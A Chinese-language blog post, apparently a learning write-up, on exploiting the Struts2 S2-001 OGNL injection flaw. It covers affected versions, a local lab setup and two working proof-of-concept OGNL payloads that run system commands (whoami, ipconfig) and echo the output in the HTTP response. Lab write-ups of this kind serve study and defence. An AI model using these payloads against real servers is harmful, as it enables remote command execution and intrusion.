Struts-S2-001漏洞利用(含環境搭建、含POC)

Struts-S2-001

此文僅供大家交流學習,嚴禁非法使用

一、參考網址:

https://github.com/phith0n/vulhub/tree/master/struts2/s2-001

二、 影響版本:

Struts 2.0.0 - Struts 2.0.8

三、 漏洞介紹:

該漏洞因為用戶提交表單數據并且驗證失敗時,后端會將用戶之前提交的參數值使用 OGNL 表達式 %{value} 進行解析,然后重新填充到對應的表單數據中。例如注冊或登錄頁面,提交失敗后端一般會默認返回之前提交的數據,由于后端使用 %{value} 對提交的數據執行了一次 OGNL 表達式解析,所以可以直接構造 Payload 進行命令執行

四、 環境搭建:

仿照一下搭建showcase的方式,搭建struts2-blank-2.0.1

  • 下載/struts/2.0.1

下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip
如果下載失敗,可以把這個網址粘到百度云使用離線下載

  • 下載安裝xampp

  • 部署showcase

  • 解壓

2.1.6_1.png

2.1.6_2.png
  • 復制到.
2.1.6_3.png
  • 重啟tomcat
2.1.6_4.png
  • 已成功自動部署
2.1.6_5.png

如果想要搭建linux環境,建議大家使用參考網址搭建docker環境
注:Linux的命令三個字符串為:"/bin/bash","-c", "ls",docker環境內部初始狀態不能執行ifconfig等一些命令,大家可以先進環境測試一下

五、 POC:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

六、 測試網址:

http://127.0.0.1:8080/struts2-blank-2.0.1/example/Login.action
1.png

將POC粘到一個輸入框,點擊Submit,此后會將數據提交到后端,后端檢測值是否為空,然后返回,滿足漏洞前提
執行結果:


2.png

執行ipconfig命令時還是出現只能輸出第一行,老問題,因為寫的時候沒有安裝漏洞的順序寫,解決方法在后面有提及,簡單來說就是修改e大小,重復#d.read(#e), #f.getWriter().println(new java.lang.String(#e))

七、 修改后POC

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "ipconfig"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)), #d.read(#e),#f.getWriter().println(new java.lang.String(#e)),#d.read(#e),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

八、執行結果

3.png

九、 至此,該漏洞基本利用完畢

本人還是一個未畢業的小萌新,希望大家多多幫助,有問題請發送郵件到xrzsupupup@163.com不勝感激,我也會盡量去幫助大家

堅決做一名白帽子

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容